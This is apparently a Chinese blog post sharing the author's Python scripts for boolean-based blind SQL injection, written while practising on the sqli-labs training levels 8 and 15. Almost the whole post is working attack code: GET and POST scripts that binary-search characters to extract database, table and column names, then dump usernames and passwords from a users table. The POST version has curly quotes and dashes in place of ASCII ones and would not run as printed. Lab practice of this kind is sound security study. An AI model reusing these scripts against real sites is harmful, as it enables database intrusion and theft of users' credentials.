目录
好家伙,昨天在buu上看到一道SQL注入的题目,贼难受,然后就果断放弃去看大佬们写的wp,所以成功的花了6个小时来学习这个鬼东西,可能是自己太菜了,也可能是小甲鱼python看的太少了……小甲鱼的python的确讲的很不错,推荐想学python的去看看。
布尔盲注——GET类型
这里是自己写的代码,写的比较烂,勿喷!
话不多说,直接上代码,看不懂来找我(算了,还是别找我了……),这里都是以sqli-labs第八关为例子的。
# 导入爬虫模块
import requests
# 导入时间模块
import time
# 获取数据库的长度
def get_DBlen(url):
for i in range(1,20):
payload = "' and length(database())=%d -- p"%i
html = requests.get(url + payload)
if "You" in html.text:
print(f"数据库长度为:{i}")
break
return i
# 获取数据库的库名
def get_DBname(url,DBlen):
DBname = ""
DBlen = DBlen + 1
for i in range(1,DBlen):
for j in range(33,128):
payload = "' and (ascii(substr((select(database())),{0},1))={1}) -- p".format(i,j)
db_url = url + payload
html = requests.get(db_url)
if "You" in html.text:
DBname += chr(j)
break
print(DBname)
return DBname
# 获取表的长度
def get_TBlen(url):
# 表示数据表的数量
TBvalue = 0
for j in range(0,15):
payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>1 -- p".format(j)
db_url = url + payload
html = requests.get(db_url)
# 如果有回显说明该表存在,存在的话就可以判断该表的长度
if "You" in html.text:
pass
else:
TBvalue = j
break
# print(TBvalue)
for j in range(0,TBvalue):
# print(j):0,1,2,3
for i in range(1,20):
payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1} -- p".format(j,i)
db_url = url + payload
html = requests.get(db_url)
if "You" in html.text:
print(f"数据表{j}的长度为{i}")
return TBvalue
# 获取表名
def get_TBname(url,TBlen):
TBnameAll = []
for i in range(0,TBlen):
TBname = ""
for j in range(1,15):
min = 32
max = 128
mid = (max + min) // 2
while min < max:
payload = "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
html = requests.get(url + payload)
if "You" in html.text:
min = mid + 1
else:
max = mid
mid = (max + min) // 2
if mid <= 32 or mid >= 127:
break
TBname += chr(mid)
# print(chr(mid))
print(TBname)
TBnameAll.append(TBname)
return TBnameAll
# 获取列的列名
def get_Colname(url):
for i in range(0,15):
Colname = ""
for j in range(1,15):
min = 32
max = 128
mid = (min + max) // 2
while min < max:
payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='referers' limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
html = requests.get(url + payload)
if "You" in html.text:
min = mid + 1
else:
max = mid
mid = (max + min) // 2
if mid <= 32 or mid >= 127:
break
Colname += chr(mid)
print("数据列名为:",Colname)
# 爆数据
def get_shuju(url):
for i in range(0,15):
shuju = ""
for j in range(1,20):
min = 32
max = 128
mid = (min + max) // 2
while min < max:
payload = "' and ascii(substr((select concat(id,'~',email_id) from emails limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
html = requests.get(url + payload)
if "You" in html.text:
min = mid + 1
else:
max = mid
mid = (max + min) // 2
if mid <= 32 or mid >= 127:
break
shuju += chr(mid)
print("数据为:",shuju)
if __name__ == "__main__":
# 要进行SQL盲注的链接
url = "http://192.168.59.150/sqli-labs/Less-8/?id=1"
# 数据库的长度
DBlen = get_DBlen(url)
# 数据库的库名
DBname = get_DBname(url,DBlen)
# 数据表的个数
TBlen = get_TBlen(url)
# print(TBlen)
# 表的表名
# TBnameAll = get_TBname(url,TBlen)
# 返回的是一个列表,表示所有的数据表名
# print(TBnameAll)
get_Colname(url)
# 数据
get_shuju(url)
能运行,运行结果比较多,就不截图了。唉,写的比较垃圾,大佬别喷。慢慢改进,好家伙……
下面是请教师傅,然后改的脚本,算80%的自动化吧,嗷嗷嗷……:
from operator import le
import requests
import time
host = "http://192.168.59.150/sqli-labs/Less-8/?"
def getDatabase(): #获取数据库名
# 将host变量变为一个全局变量
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(database())),%d,1))<%d) -- p" % (i,mid)
res = requests.get(url)
# 如果返回的是You,那么就为真的
if "You" in res.text:
high = mid
else:
low = mid + 1
mid=(low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)
# 返回库名
return ans
def getTable(DBname): #获取表名
global host
ans= ""
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{0}')),{1},1))<{2}) -- p".format(DBname,i,mid)
res = requests.get(url)
if "You" in res.text:
high = mid
else:
low = mid+1
mid=(low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("table is -> " + ans)
# 返回表名,此时表名为一个列表
return ans
def getColumn(TBname): #获取列名
global host
ans = ''
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}')),{1},1))<{2}) -- p".format(TBname,i,mid)
res = requests.get(url)
if "You" in res.text:
high = mid
else:
low = mid + 1
mid=(low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("column is -> " + ans)
# 返回一个列名
return ans
def dumpTable():#脱裤
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
time.sleep(0.3)
url = host + "id=1' and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) -- p" % (i,mid)
res = requests.get(url)
if "You" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)
DBname = getDatabase()
# print(DBname)
TBname = getTable(DBname)
# print(type(TBname))表示是一个字符串,用来测试
TBnames = []
TBnames.append(TBname.split(','))
# 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
# print(TBnames)
TBlen = len(TBnames)
for i in range(0,TBlen):
TBname = TBnames[i]
# print(TBname)
getColumn(TBname)
if i == TBlen - 1:
break
dumpTable()
布尔盲注——POST注入
直接上代码了:(这里是以sqli-labs第15关为例的)
import requests
import time
host = “http://192.168.59.150/sqli-labs/Less-15/”
def getDatabase(): #获取数据库名
# 将host变量变为一个全局变量
global host
ans=”
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# time.sleep(0.3)
payload = “admin’ and (ascii(substr((select database()),{0},1))<{1}) — p”.format(i,mid)
# print(payload)# 测试
data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}
html = requests.post(host,data)
# 如果返回的是有数据,那么就为真的
if “flag.jpg” in html.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid – 1)
print(“database is -> ” + ans)
# 返回库名
return ans
def getTable(): #获取表名
global host
ans= “”
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# time.sleep(0.3)
payload = “admin’ and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))<{1}) — p”.format(i,mid)
data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}
html = requests.post(host,data)
# 如果返回的是有数据,那么就为真的
if “flag.jpg” in html.text:
high = mid
else:
low = mid+1
mid=(low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid – 1)
print(“table is -> ” + ans)
# 返回表名,此时表名为一个列表
return ans
def getColumn(TBname): #获取列名
global host
ans = ”
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.3)
payload = “admin’ and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}’)),{1},1))<{2}) — p”.format(TBname,i,mid)
data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}
html = requests.post(host,data)
# 如果返回的是有数据,那么就为真的
if “flag.jpg” in html.text:
high = mid
else:
low = mid + 1
mid=(low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid – 1)
print(“column is -> ” + ans)
# 返回一个列名
return ans
def dumpTable():#脱裤
global host
ans=”
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
time.sleep(0.3)
payload = “admin’ and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) — p” % (i,mid)
data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}
html = requests.post(host,data)
# 如果返回的是有数据,那么就为真的
if “flag.jpg” in html.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print(“dumpTable is -> “+ans)
if __name__ == “__main__”:
# getDatabase()
TBname = getTable()
# print(type(TBname))表示是一个字符串,用来测试
TBnames = []
TBnames.append(TBname.split(‘,’))
# 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
# print(TBnames)
TBlen = len(TBnames)
for i in range(0,TBlen):
TBname = TBnames[i]
# print(TBname)
getColumn(TBname)
if i == TBlen – 1:
break
dumpTable()
如果有哪里写的不好的地方,还请各位师傅指教!感谢